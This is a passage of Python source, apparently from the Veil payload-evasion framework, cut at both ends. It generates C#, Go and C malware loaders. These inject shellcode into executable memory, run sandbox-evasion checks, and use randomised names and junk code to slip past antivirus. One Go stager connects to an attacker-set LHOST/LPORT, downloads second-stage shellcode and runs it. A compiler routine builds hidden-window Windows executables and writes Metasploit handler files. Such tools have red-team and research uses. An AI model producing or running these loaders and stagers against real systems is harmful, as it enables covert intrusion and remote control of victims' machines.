= payload_code + payload_code2 num_tabs_required += 2 if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += '\t' * num_tabs_required + "byte[] %s = {%s};" % ( bytearrayName, Shellcode) payload_code += '\t' * num_tabs_required + "IntPtr %s = VirtualAlloc(0, (UInt32)%s.Length, 0x3000, 0x04);\n" % ( funcAddrName, bytearrayName) payload_code += '\t' * num_tabs_required + "Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" % ( bytearrayName, funcAddrName, bytearrayName) payload_code += '\t' * num_tabs_required + "IntPtr %s = IntPtr.Zero; UInt32 %s = 0; IntPtr %s = IntPtr.Zero;\n" % ( hThreadName, threadIdName, pinfoName) payload_code += '\t' * num_tabs_required + "uint %s;\n" % ( random_out) payload_code += '\t' * num_tabs_required + "bool %s = VirtualProtect(%s, (uint)0x1000, (uint)0x20, out %s);\n" % ( rand_bool, funcAddrName, random_out) payload_code += '\t' * num_tabs_required + "%s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" % ( hThreadName, funcAddrName, pinfoName, threadIdName) payload_code += '\t' * num_tabs_required + "WaitForSingleObject(%s, 0xFFFFFFFF);}\n" % ( hThreadName) # payload_code += "private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;\n" elif self.required_options["INJECT_METHOD"][0].lower() == "heap": rand_heap = evasion_helpers.randomString() rand_ptr = evasion_helpers.randomString() rand_var = evasion_helpers.randomString() payload_code += '\t' * num_tabs_required + "byte[] %s = {%s};\n" % ( bytearrayName, Shellcode) payload_code += '\t' * num_tabs_required + 'UInt32 {} = HeapCreate(0x00040000, (UInt32){}.Length, 0);\n'.format( rand_heap, bytearrayName) payload_code += '\t' * num_tabs_required + 'UInt32 {} = HeapAlloc({}, 0x00000008, (UInt32){}.Length);\n'.format( rand_ptr, rand_heap, bytearrayName) payload_code += '\t' * num_tabs_required + 'RtlMoveMemory({}, {}, (UInt32){}.Length);\n'.format( rand_ptr, bytearrayName, bytearrayName) payload_code += '\t' * num_tabs_required + 'UInt32 {} = 0;\n'.format( rand_var) payload_code += '\t' * num_tabs_required + 'IntPtr {} = CreateThread(0, 0, {}, IntPtr.Zero, 0, ref {});\n'.format( hThreadName, rand_ptr, rand_var) payload_code += '\t' * num_tabs_required + 'WaitForSingleObject({}, 0xFFFFFFFF);}}\n'.format( hThreadName) while (num_tabs_required != 0): payload_code += '\t' * num_tabs_required + '}' num_tabs_required -= 1 if self.required_options["USE_ARYA"][0].lower() == "y": payload_code = encryption.arya(payload_code) self.payload_source_code = payload_code return
def generate(self): # randomly generate out variable names memCommit = evasion_helpers.randomString() memReserve = evasion_helpers.randomString() pageExecRW = evasion_helpers.randomString() kernel32 = evasion_helpers.randomString() procVirtualAlloc = evasion_helpers.randomString() cust_func = evasion_helpers.randomString() size = evasion_helpers.randomString() addr = evasion_helpers.randomString() err = evasion_helpers.randomString() shellcode_variable = evasion_helpers.randomString() buff = evasion_helpers.randomString() value = evasion_helpers.randomString() heapcreatevariable = evasion_helpers.randomString() heapallocvariable = evasion_helpers.randomString() heapcreateout = evasion_helpers.randomString() errorvariable = evasion_helpers.randomString() heapallocout = evasion_helpers.randomString() rand_var = evasion_helpers.randomString() procVirtualProtect = evasion_helpers.randomString() proc_out = evasion_helpers.randomString() vprotectendvar = evasion_helpers.randomString() # Generate the shellcode if not self.cli_shellcode: Shellcode = self.shellcode.generate(self.cli_opts) if self.shellcode.msfvenompayload: self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' else: Shellcode = self.cli_shellcode # sandbox check code sandbox_checks, num_curlys = gamemaker.senecas_games(self) payload_code = "package main\nimport (\n\"syscall\"\n\"unsafe\"\n\"fmt\"\n\"os\"\n" if self.required_options["PROCESSORS"][0].lower() != "x": payload_code += "\"runtime\"\n" # Add in other imports based on checks being performed if self.required_options["USERNAME"][0].lower() != "x": payload_code += "\"strings\"\n\"os/user\"\n" if self.required_options["HOSTNAME"][0].lower() != "x" or self.required_options["PROCCHECK"][0].lower() != 'false': if "strings" not in payload_code: payload_code += "\"strings\"\n" if self.required_options["SLEEP"][0].lower() != "x": payload_code += "\"net\"\n\"time\"\n\"encoding/binary\"\n" if self.required_options["BADMACS"][0].lower() != 'false': if "net" not in payload_code: payload_code += "\"net\"\n" if "strings" not in payload_code: payload_code += "\"strings\"\n" if self.required_options["UTCCHECK"][0].lower() != 'false': if "time" not in payload_code: payload_code += "\"time\"\n" if self.required_options["CURSORCHECK"][0].lower() != 'false': if "time" not in payload_code: payload_code += "\"time\"\n" payload_code += ")\n" # Changes based on injection type if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += "const (\n" payload_code += "%s = 0x1000\n" % (memCommit) payload_code += "%s = 0x2000\n" % (memReserve) payload_code += "%s = 0x04\n)\n" % (pageExecRW) payload_code += "var (\n" # injection type if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += "%s = 0\n" %(proc_out) payload_code += "%s = syscall.NewLazyDLL(\"kernel32.dll\")\n" %(kernel32) payload_code += "%s = %s.NewProc(\"VirtualAlloc\")\n" %(procVirtualAlloc, kernel32) payload_code += "%s = %s.NewProc(\"VirtualProtect\")\n)\n" %(procVirtualProtect, kernel32) payload_code += "func %s(%s uintptr) (uintptr, error) {\n" %(cust_func, size) payload_code += "%s, _, %s := %s.Call(0, %s, %s|%s, %s)\n" %(addr, err, procVirtualAlloc, size, memReserve, memCommit, pageExecRW) payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" %(addr, err, addr) elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += kernel32 + " = syscall.NewLazyDLL(\"kernel32.dll\")\n" payload_code += heapcreatevariable + " = " + kernel32 + ".NewProc(\"HeapCreate\")\n" payload_code += heapallocvariable + " = " + kernel32 + ".NewProc(\"HeapAlloc\")\n)\n" payload_code += "func %s(%s uintptr) (uintptr, error) {\n" %(cust_func, size) payload_code += heapcreateout + ", _, " + errorvariable + " := " + heapcreatevariable + ".Call(0x00040000, " + size + ", 0)\n" payload_code += heapallocout + ", _, _ := " + heapallocvariable + ".Call(" + heapcreateout + ", 0x00000008, " + size + ")\n" payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" %(heapallocout, errorvariable, heapallocout) payload_code += "var %s string = \"%s\"\n" %(shellcode_variable, Shellcode) payload_code += "func main() {\n" # Sandbox code goes here if sandbox_checks != '': payload_code += sandbox_checks if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += "%s, %s := %s(uintptr(len(%s)))\n" %(addr, err, cust_func, shellcode_variable) elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += "%s, %s := %s(uintptr(len(%s)))\n" %(heapallocout, err, cust_func, shellcode_variable) payload_code += "if %s != nil {\nfmt.Println(%s)\nos.Exit(1)\n}\n" %(err, err) if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += "%s := (*[890000]byte)(unsafe.Pointer(%s))\n" %(buff, addr) payload_code += "var %s uintptr\n" %(proc_out) payload_code += "var %s uintptr\n" %(vprotectendvar) payload_code += "for " + rand_var + ", %s := range []byte(%s) {\n" %(value, shellcode_variable) payload_code += buff + "[" + rand_var + "] = %s\n}\n" % (value) payload_code += "%s, _, %s = %s.Call(%s, uintptr(len(%s)), 0x20, uintptr(unsafe.Pointer(&%s)))\n" %(proc_out, err, procVirtualProtect, addr, shellcode_variable, vprotectendvar) payload_code += "if %s == 0 {\nos.Exit(1)\n}\n" %(proc_out) elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += "%s := (*[890000]byte)(unsafe.Pointer(%s))\n" %(buff, heapallocout) payload_code += "for " + rand_var + ", %s := range []byte(%s) {\n" %(value, shellcode_variable) payload_code += buff + "[" + rand_var + "] = %s\n}\n" % (value) if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += "syscall.Syscall(%s, 0, 0, 0, 0)\n}\n" % (addr) elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += "syscall.Syscall(%s, 0, 0, 0, 0)\n}\n" % (heapallocout) payload_code += '}' * num_curlys self.payload_source_code = payload_code return
def generate(self): memCommit = evasion_helpers.randomString() memReserve = evasion_helpers.randomString() pageExecRW = evasion_helpers.randomString() kernel32 = evasion_helpers.randomString() procVirtualAlloc = evasion_helpers.randomString() size = evasion_helpers.randomString() err = evasion_helpers.randomString() wsadata = evasion_helpers.randomString() socket = evasion_helpers.randomString() socketAddr = evasion_helpers.randomString() ip = self.required_options["LHOST"][0].split('.') buf = evasion_helpers.randomString() dataBuf = evasion_helpers.randomString() flags = evasion_helpers.randomString() qty = evasion_helpers.randomString() scLength = evasion_helpers.randomString() sc = evasion_helpers.randomString() sc2 = evasion_helpers.randomString() total = evasion_helpers.randomString() mem = evasion_helpers.randomString() buffer_variable = evasion_helpers.randomString() handle = evasion_helpers.randomString() x = evasion_helpers.randomString() value = evasion_helpers.randomString() cust_func = evasion_helpers.randomString() heapcreatevariable = evasion_helpers.randomString() heapallocvariable = evasion_helpers.randomString() heapcreateout = evasion_helpers.randomString() allocvarout = evasion_helpers.randomString() errorvariable = evasion_helpers.randomString() errorvariabledos = evasion_helpers.randomString() constSize = evasion_helpers.randomString() # sandbox check code sandbox_checks, num_curlys = gamemaker.senecas_games(self) payload_code = "package main\nimport (\n\"encoding/binary\"\n\"syscall\"\n\"unsafe\"\n" if self.required_options["PROCESSORS"][0].lower() != "x": payload_code += "\"runtime\"\n" # Add in other imports based on checks being performed if self.required_options["USERNAME"][0].lower() != "x": payload_code += "\"strings\"\n\"os/user\"\n" if self.required_options["MINPROCS"][0].lower() != "x": payload_code += "\"os\"\n" if self.required_options["HOSTNAME"][0].lower( ) != "x" or self.required_options["PROCCHECK"][0].lower() != 'false': if "strings" not in payload_code: payload_code += "\"strings\"\n" if self.required_options["SLEEP"][0].lower() != "x": payload_code += "\"net\"\n\"time\"\n\"encoding/binary\"\n" if self.required_options["BADMACS"][0].lower() != 'false': if "net" not in payload_code: payload_code += "\"net\"\n" if "strings" not in payload_code: payload_code += "\"strings\"\n" if self.required_options["UTCCHECK"][0].lower() != 'false': if "time" not in payload_code: payload_code += "\"time\"\n" if self.required_options["CURSORCHECK"][0].lower() != 'false': if "time" not in payload_code: payload_code += "\"time\"\n" payload_code += ")\n" payload_code += "const (\n" payload_code += "%s = 0x1000\n" % (memCommit) payload_code += "%s = 0x2000\n" % (memReserve) payload_code += "%s = 0x40\n)\n" % (pageExecRW) payload_code += "var (\n" if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += "%s = syscall.NewLazyDLL(\"kernel32.dll\")\n" % ( kernel32) payload_code += "%s = %s.NewProc(\"VirtualAlloc\")\n)\n" % ( procVirtualAlloc, kernel32) payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % ( cust_func, size) payload_code += "%s, _, %s := %s.Call(0, %s, %s|%s, %s)\n" % ( allocvarout, err, procVirtualAlloc, size, memReserve, memCommit, pageExecRW) payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % ( allocvarout, err, allocvarout) elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += kernel32 + " = syscall.NewLazyDLL(\"kernel32.dll\")\n" payload_code += heapcreatevariable + " = " + kernel32 + ".NewProc(\"HeapCreate\")\n" payload_code += heapallocvariable + " = " + kernel32 + ".NewProc(\"HeapAlloc\")\n)\n" payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % ( cust_func, size) payload_code += heapcreateout + ", _, " + errorvariabledos + " := " + heapcreatevariable + ".Call(0x00040000, " + size + ", 0)\n" payload_code += allocvarout + ", _, " + errorvariabledos + " := " + heapallocvariable + ".Call(" + heapcreateout + ", 0x00000008, " + size + ")\n" payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % ( allocvarout, errorvariabledos, allocvarout) payload_code += "func main() {\n" # Sandbox code goes here if sandbox_checks != '': payload_code += sandbox_checks payload_code += "const %s = 1000 << 10\n" % (constSize) payload_code += "var %s syscall.WSAData\n" % (wsadata) payload_code += "syscall.WSAStartup(uint32(0x202), &%s)\n" % (wsadata) payload_code += "%s, _ := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0)\n" % ( socket) payload_code += "%s := syscall.SockaddrInet4{Port: %s, Addr: [4]byte{%s, %s, %s, %s}}\n" % ( socketAddr, self.required_options["LPORT"][0], ip[0], ip[1], ip[2], ip[3]) payload_code += "syscall.Connect(%s, &%s)\n" % (socket, socketAddr) payload_code += "var %s [4]byte\n" % (buf) payload_code += "%s := syscall.WSABuf{Len: uint32(4), Buf: &%s[0]}\n" % ( dataBuf, buf) payload_code += "%s := uint32(0)\n" % (flags) payload_code += "%s := uint32(0)\n" % (qty) payload_code += "syscall.WSARecv(%s, &%s, 1, &%s, &%s, nil, nil)\n" % ( socket, dataBuf, qty, flags) payload_code += "%s := binary.LittleEndian.Uint32(%s[:])\n" % ( scLength, buf) payload_code += "%s := make([]byte, %s)\n" % (sc, scLength) payload_code += "var %s []byte\n" % (sc2) payload_code += "%s = syscall.WSABuf{Len: %s, Buf: &%s[0]}\n" % ( dataBuf, scLength, sc) payload_code += "%s = uint32(0)\n" % (flags) payload_code += "%s = uint32(0)\n" % (qty) payload_code += "%s := uint32(0)\n" % (total) payload_code += "for %s < %s {\n" % (total, scLength) payload_code += "syscall.WSARecv(%s, &%s, 1, &%s, &%s, nil, nil)\n" % ( socket, dataBuf, qty, flags) payload_code += "for i := 0; i < int(%s); i++ {\n" % (qty) payload_code += "%s = append(%s, %s[i])\n}\n%s += %s\n}\n" % ( sc2, sc2, sc, total, qty) payload_code += "%s, _ := %s(uintptr(%s + 5))\n" % (mem, cust_func, scLength) payload_code += "%s := (*[%s]byte)(unsafe.Pointer(%s))\n" % ( buffer_variable, constSize, mem) payload_code += "%s := (uintptr)(unsafe.Pointer(%s))\n" % (handle, socket) payload_code += "%s[0] = 0xBF\n" % (buffer_variable) payload_code += "%s[1] = byte(%s)\n" % (buffer_variable, handle) payload_code += "%s[2] = 0x00\n" % (buffer_variable) payload_code += "%s[3] = 0x00\n" % (buffer_variable) payload_code += "%s[4] = 0x00\n" % (buffer_variable) payload_code += "for %s, %s := range %s {\n" % (x, value, sc2) payload_code += "%s[%s+5] = %s\n}\n" % (buffer_variable, x, value) payload_code += "syscall.Syscall(%s, 0, 0, 0, 0)\n}\n" % (mem) payload_code += '}' * num_curlys self.payload_source_code = payload_code return
def compiler(payload_object, invoked=False, cli_object=None): # Check the source code to ensure it is present if payload_object.payload_source_code == '': print( helpers.color("\n [!] ERROR: No payload source code provided.\n", warning=True)) return False else: # print title bar evasion_helpers.title_screen() if not invoked: # Determine the file name to use for output file_name = input( ' [>] Please enter the base name for output files (default is payload): ' ).strip() else: file_name = cli_object.o # Basic checks on input while file_name != '' and ("\\" in file_name or "/" in file_name): print( helpers.color( "\nPlease provide a base name, not a path, for the output base\n", warning=True)) file_name = input( ' [>] Please enter the base name for output files (default is payload): ' ).strip() # If no base name, set it to be payload if file_name == '': file_name = 'payload' # run check to make sure file doesn't exist, if it does # provide a new filename file_name = find_file_name(file_name, payload_object) source_code_filepath = settings.PAYLOAD_SOURCE_PATH + file_name + "." + payload_object.extension # Used when outputting exe files, go figure executable_filepath = settings.PAYLOAD_COMPILED_PATH + file_name + ".exe" if payload_object.language is not "native" and payload_object.extension is not "war": with open(source_code_filepath, 'w') as source_file: source_file.write(payload_object.payload_source_code) if payload_object.language == 'python': if not invoked: compile_method = "" else: compile_method = cli_object.compiler # Check extension for war or normal python file if payload_object.extension == 'py': if settings.OPERATING_SYSTEM == "Windows": compile_method = 'py2exe' else: if payload_object.required_options['COMPILE_TO_EXE'][ 0].lower() == 'y' and not invoked: print() evasion_helpers.title_screen() print() # if we have a linux distro, continue... # Determine if the user wants Pyinstaller, Pwnstaller, or Py2Exe. print( ' [?] How would you like to create your payload executable?\n' ) print(' %s - Pyinstaller %s' % (helpers.color('1'), helpers.color('(default)', yellow=True))) print(' %s - Py2Exe\n' % (helpers.color('2'))) user_compile_choice = input( " [>] Please enter the number of your choice: ") if user_compile_choice == "1" or user_compile_choice == '': compile_method = "pyinstaller" elif user_compile_choice == "2": compile_method = "py2exe" else: compile_method = "pyinstaller" if compile_method == 'py2exe' and payload_object.required_options[ 'COMPILE_TO_EXE'][0].lower() == 'y': # Generate setup.py File for Py2Exe with open(settings.PAYLOAD_SOURCE_PATH + '/setup.py', 'w') as setup_file: setup_file.write("from distutils.core import setup\n") setup_file.write("import py2exe, sys, os\n\n") setup_file.write("setup(\n") setup_file.write( "\toptions = {'py2exe': {'bundle_files': 1}},\n") setup_file.write("\tzipfile = None,\n") setup_file.write("\twindows=['" + file_name + ".py']\n") setup_file.write(")") # Generate Batch script for Compiling on Windows Using Py2Exe with open(settings.PAYLOAD_SOURCE_PATH + '/runme.bat', 'w') as runme_file: runme_file.write( 'rem Batch Script for compiling python code into an executable\n' ) runme_file.write('rem on windows with py2exe\n') runme_file.write( 'rem Usage: Drop into your Python folder and click, or anywhere if Python is in your system path\n\n' ) runme_file.write("python setup.py py2exe\n") runme_file.write('cd dist\n') runme_file.write('move ' + file_name + '.exe ../\n') runme_file.write('cd ..\n') runme_file.write('rmdir /S /Q build\n') runme_file.write('rmdir /S /Q dist\n') print() evasion_helpers.title_screen() print() print_payload_information(payload_object) print( helpers.color( "\npy2exe files 'setup.py' and 'runme.bat' written to:\n" + settings.PAYLOAD_SOURCE_PATH + "\n")) else: if payload_object.required_options['COMPILE_TO_EXE'][ 0].lower() == 'y': # Used for PyInstaller standard # copy the pyinstaller runw to maintain its integrity in the event # pwnstaller is added in for python3 - this will future proof it runw_path = settings.VEIL_PATH + '/tools/evasion/evasion_common/tools/runw.orig.exe' os.system( "cp " + runw_path + " " + settings.PYINSTALLER_PATH + "/PyInstaller/bootloader/Windows-32bit/runw.exe") # Validate python is installed in wine if not os.path.isfile(settings.WINEPREFIX + 'drive_c/Python34/python.exe'): print( helpers.color( "\n [!] ERROR: Can't find python.exe in " + os.path.expanduser(settings.WINEPREFIX + 'drive_c/Python34/'), warning=True)) print( helpers.color( " [!] ERROR: Make sure the python.exe binary exists before using PyInstaller.", warning=True)) sys.exit(1) random_key = evasion_helpers.randomString() os.system( 'WINEPREFIX=' + settings.WINEPREFIX + ' wine ' + settings.WINEPREFIX + '/drive_c/Python34/python.exe' + ' ' + os.path.expanduser(settings.PYINSTALLER_PATH + '/pyinstaller.py') + ' --onefile --noconsole --key ' + random_key + ' ' + source_code_filepath) print() evasion_helpers.title_screen() print() if os.path.isfile('dist/' + file_name + ".exe"): os.system('mv dist/' + file_name + ".exe " + settings.PAYLOAD_COMPILED_PATH) hash_executable(executable_filepath, file_name) print_payload_information(payload_object) print( " [*] Executable written to: " + helpers.color(settings.PAYLOAD_COMPILED_PATH + file_name + ".exe")) else: print( helpers.color( " [!] ERROR: Unable to create output file.", warning=True)) os.system('rm -rf dist') os.system('rm -rf build') os.system('rm -f *.spec') os.system('rm -f logdict*.*') print(" [*] Source code written to: " + helpers.color(source_code_filepath)) elif payload_object.extension == 'war': path_here = settings.PAYLOAD_COMPILED_PATH + file_name + "." + payload_object.extension with open(path_here, 'wb') as source_file: source_file.write(payload_object.payload_source_code) # Ensure that war file was written to disk if os.path.isfile(path_here): hash_executable(path_here, file_name) print_payload_information(payload_object) print(" [*] WAR file written to: " + helpers.color(source_code_filepath)) else: print( helpers.color(" [!] ERROR: Unable to create WAR file.", warning=True)) else: print( helpers.color( " [!] ERROR: Invalid python extension in payload module.\n", warning=True)) elif payload_object.language == 'ruby': if payload_object.required_options['COMPILE_TO_EXE'][0].lower( ) == 'y': os.system( 'WINEPREFIX=' + settings.WINEPREFIX + ' wine ' + settings.WINEPREFIX + '/drive_c/Ruby187/bin/ruby.exe ' + settings.WINEPREFIX + '/drive_c/Ruby187/bin/ocra --windows ' + source_code_filepath + ' --output ' + executable_filepath + ' ' + settings.WINEPREFIX + '/drive_c/Ruby187/lib/ruby/gems/1.8/gems/win32-api-1.4.8-x86-mingw32/lib/win32/*' ) print() evasion_helpers.title_screen() print() if os.path.isfile(executable_filepath): hash_executable(executable_filepath, file_name) print_payload_information(payload_object) print(" [*] Executable written to: " + helpers.color(executable_filepath)) else: print( helpers.color( " [!] ERROR: Unable to create output file.", warning=True)) print(" [*] Source code written to: " + helpers.color(source_code_filepath)) elif payload_object.language == 'powershell': print() evasion_helpers.title_screen() print() print_payload_information(payload_object) print(" [*] PowerShell doesn't compile, so you just get text :)") print(" [*] Source code written to: " + helpers.color(source_code_filepath)) elif payload_object.language == 'perl': print_payload_information(payload_object) print( "\nPerl can't currently be compiled in Linux. Install on Windows:" ) print( "https://www.veil-framework.com/perl-of-no-hope-january-v-day-2016/" ) print("Command: pp -gui -o <executablename> <sourcecodefile.pl>") print(" [*] Source code written to: " + helpers.color(source_code_filepath)) elif payload_object.language == 'native': # set path for native payload executable output path_here = settings.PAYLOAD_COMPILED_PATH + file_name + "." + payload_object.extension with open(path_here, 'wb') as source_file: source_file.write(payload_object.payload_source_code) # Ensure executables was written to disk if os.path.isfile(path_here): hash_executable(path_here, file_name) print_payload_information(payload_object) print(" [*] Executable written to: " + helpers.color(path_here)) else: print( helpers.color(" [!] ERROR: Unable to create Exe file.", warning=True)) elif payload_object.language == 'lua': print_payload_information(payload_object) print( " [*] Lua currently doesn't compile in linux, so you just get text :)" ) print(" [*] Source code written to: " + helpers.color(source_code_filepath)) elif payload_object.language == 'go': if payload_object.required_options['COMPILE_TO_EXE'][0].lower( ) == 'y': # Compile go payload os.system( 'env GOROOT={0} GOOS=windows GOARCH=386 {0}/bin/go build -ldflags "-s -w -H=windowsgui" -v -o {1} {2}' .format(settings.GOLANG_PATH, executable_filepath, source_code_filepath)) print() evasion_helpers.title_screen() print() if os.path.isfile(executable_filepath): hash_executable(executable_filepath, file_name) print_payload_information(payload_object) print(" [*] Executable written to: " + helpers.color(executable_filepath)) else: print( helpers.color( " [!] ERROR: Unable to create output file.", warning=True)) print(" [*] Source code written to: " + helpers.color(source_code_filepath)) elif payload_object.language == 'cs': if payload_object.required_options['COMPILE_TO_EXE'][0].lower( ) == 'y': # Compile our CS code into an executable and pass a compiler flag to prevent it from opening a command prompt when run os.system('mcs -platform:x86 -target:winexe ' + source_code_filepath + ' -out:' + executable_filepath) print() evasion_helpers.title_screen() print() if os.path.isfile(executable_filepath): hash_executable(executable_filepath, file_name) print_payload_information(payload_object) print(" [*] Executable written to: " + helpers.color(executable_filepath)) else: print( helpers.color( " [!] ERROR: Unable to create output file.", warning=True)) print(" [*] Source code written to: " + helpers.color(source_code_filepath)) elif payload_object.language == 'c': if payload_object.required_options['COMPILE_TO_EXE'][0].lower( ) == 'y': # Compile our C code into an executable and pass a compiler flag to prevent it from opening a command prompt when run os.system('i686-w64-mingw32-gcc -Wl,-subsystem,windows ' + source_code_filepath + ' -o ' + executable_filepath + " -lwsock32") print() evasion_helpers.title_screen() print() if os.path.isfile(executable_filepath): hash_executable(executable_filepath, file_name) print_payload_information(payload_object) print(" [*] Executable written to: " + helpers.color(executable_filepath)) else: print( helpers.color( " [!] ERROR: Unable to create output file.", warning=True)) print(" [*] Source code written to: " + helpers.color(source_code_filepath)) elif payload_object.language == 'autoit': if payload_object.required_options['COMPILE_TO_EXE'][0].lower( ) == 'y': # Compile autoit code os.system( 'WINEPREFIX=' + settings.WINEPREFIX + ' wine ' + settings.WINEPREFIX + 'drive_c/Program\ Files/AutoIt3/Aut2Exe/Aut2exe.exe /in ' + source_code_filepath + ' /out ' + executable_filepath + ' /comp 2 /nopack') if os.path.isfile(executable_filepath): hash_executable(executable_filepath, file_name) print_payload_information(payload_object) print(" [*] Executable written to: " + helpers.color(executable_filepath)) else: print( helpers.color( " [!] ERROR: Unable to create output file.", warning=True)) print(" [*] Source code written to: " + helpers.color(source_code_filepath)) else: print( helpers.color( "\n [!] ERROR: Invalid payload language in payload module.\n", warning=True)) return False if invoked: handler_code_generator(payload_object, file_name, invoked=True, cli_obj=cli_object) else: handler_code_generator(payload_object, file_name) if os.path.isfile(settings.HANDLER_PATH + file_name + '.rc'): print(" [*] Metasploit Resource file written to: " + helpers.color(settings.HANDLER_PATH + file_name + '.rc')) if not invoked: dummy = input('\nHit enter to continue...\n') # End of if statement checking to make sure payload_source_code is # not empty return True
def generate(self): sumvalue_name = evasion_helpers.randomString() checksum_name = evasion_helpers.randomString() winsock_init_name = evasion_helpers.randomString() punt_name = evasion_helpers.randomString() wsconnect_name = evasion_helpers.randomString() # the real includes needed includes = [ "#include <stdio.h>" , "#include <stdlib.h>", "#include <windows.h>", "#include <string.h>", "#include <time.h>"] # max length string for obfuscation global_max_string_length = 10000 max_string_length = random.randint(100,global_max_string_length) max_num_strings = 10000 # TODO: add in more string processing functions randName1 = evasion_helpers.randomString() # reverse() randName2 = evasion_helpers.randomString() # doubles characters stringModFunctions = [ (randName1, "char* %s(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); for(i=0;i<length;i++) { t2[(length-1)-i]=t[i]; } t2[length] = '\\0'; return t2; }" %(randName1)), (randName2, "char* %s(char* s){ char *result = malloc(strlen(s)*2+1); int i; for (i=0; i<strlen(s)*2+1; i++){ result[i] = s[i/2]; result[i+1]=s[i/2];} result[i] = '\\0'; return result; }" %(randName2)) ] random.shuffle(stringModFunctions) # obfuscation "logical nop" string generation functions randString1 = evasion_helpers.randomString(50) randName1 = evasion_helpers.randomString() randVar1 = evasion_helpers.randomString() randName2 = evasion_helpers.randomString() randVar2 = evasion_helpers.randomString() randVar3 = evasion_helpers.randomString() randName3 = evasion_helpers.randomString() randVar4 = evasion_helpers.randomString() randVar5 = evasion_helpers.randomString() stringGenFunctions = [ (randName1, "char* %s(){ char *%s = %s(\"%s\"); return strstr( %s, \"%s\" );}" %(randName1, randVar1, stringModFunctions[0][0], randString1, randVar1, randString1[25])), (randName2, "char* %s(){ char %s[%s], %s[%s/2]; strcpy(%s,\"%s\"); strcpy(%s,\"%s\"); return %s(strcat( %s, %s)); }" % (randName2, randVar2, max_string_length, randVar3, max_string_length, randVar2, evasion_helpers.randomString(50), randVar3, evasion_helpers.randomString(50), stringModFunctions[1][0], randVar2, randVar3)), (randName3, "char* %s() { char %s[%s] = \"%s\"; char *%s = strupr(%s); return strlwr(%s); }" % (randName3, randVar4, max_string_length, evasion_helpers.randomString(50), randVar5, randVar4, randVar5)) ] random.shuffle(stringGenFunctions) # obfuscation - add in our fake includes fake_includes = ["#include <sys/timeb.h>", "#include <time.h>", "#include <math.h>", "#include <signal.h>", "#include <stdarg.h>", "#include <limits.h>", "#include <assert.h>"] for x in range(1, random.randint(1,7)): includes.append(fake_includes[x]) # shuffle up real/fake includes random.shuffle(includes) code = "#define _WIN32_WINNT 0x0500\n" code += "#include <winsock2.h>\n" code += "\n".join(includes) + "\n" #string mod functions code += stringModFunctions[0][1] + "\n" code += stringModFunctions[1][1] + "\n" # build the sumValue function string_arg_name = evasion_helpers.randomString() retval_name = evasion_helpers.randomString() code += "int %s(char %s[]) {" % (sumvalue_name, string_arg_name) code += "int %s=0; int i;" %(retval_name) code += "for (i=0; i<strlen(%s);++i) %s += %s[i];" %(string_arg_name, retval_name, string_arg_name) code += "return (%s %% 256);}\n" %(retval_name) # build the winsock_init function wVersionRequested_name = evasion_helpers.randomString() wsaData_name = evasion_helpers.randomString() code += "void %s() {" % (winsock_init_name) code += "WORD %s = MAKEWORD(%s, %s); WSADATA %s;" % (wVersionRequested_name, evasion_helpers.obfuscateNum(2,4), evasion_helpers.obfuscateNum(2,4), wsaData_name) code += "if (WSAStartup(%s, &%s) < 0) { WSACleanup(); exit(1);}}\n" %(wVersionRequested_name,wsaData_name) # first logical nop string function code += stringGenFunctions[0][1] + "\n" # build punt function my_socket_name = evasion_helpers.randomString() code += "void %s(SOCKET %s) {" %(punt_name, my_socket_name) code += "closesocket(%s);" %(my_socket_name) code += "WSACleanup();" code += "exit(1);}\n" # second logical nop string function code += stringGenFunctions[1][1] + "\n" # build the reverse_http uri checksum function randchars = ''.join(random.sample("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",62)) characters_name = evasion_helpers.randomString() string_var_name = evasion_helpers.randomString() code += "char* %s(){" %(checksum_name) code += "srand (time(NULL));int i;" code += "char %s[] = \"%s\";" %(characters_name, randchars) code += "char* %s = malloc(5); %s[4] = 0;" %(string_var_name, string_var_name) code += "while (1<2){for(i=0;i<3;++i){%s[i] = %s[rand() %% (sizeof(%s)-1)];}" %(string_var_name, characters_name, characters_name) code += "for(i=0;i<sizeof(%s);i++){ %s[3] = %s[i];" % (characters_name, string_var_name, characters_name) code += "if (%s(%s) == 92) return %s; } } return 0;}\n" % (sumvalue_name,string_var_name,string_var_name) # third logical nop string function code += stringGenFunctions[2][1] + "\n" # build wsconnect function target_name = evasion_helpers.randomString() sock_name = evasion_helpers.randomString() my_socket_name = evasion_helpers.randomString() code += "SOCKET %s() { struct hostent * %s; struct sockaddr_in %s; SOCKET %s;" % (wsconnect_name, target_name, sock_name, my_socket_name) code += "%s = socket(AF_INET, SOCK_STREAM, 0);" %(my_socket_name) code += "if (%s == INVALID_SOCKET) %s(%s);" %(my_socket_name, punt_name, my_socket_name); code += "%s = gethostbyname(\"%s\");" %(target_name, self.required_options["LHOST"][0]) code += "if (%s == NULL) %s(%s);" %(target_name, punt_name, my_socket_name) code += "memcpy(&%s.sin_addr.s_addr, 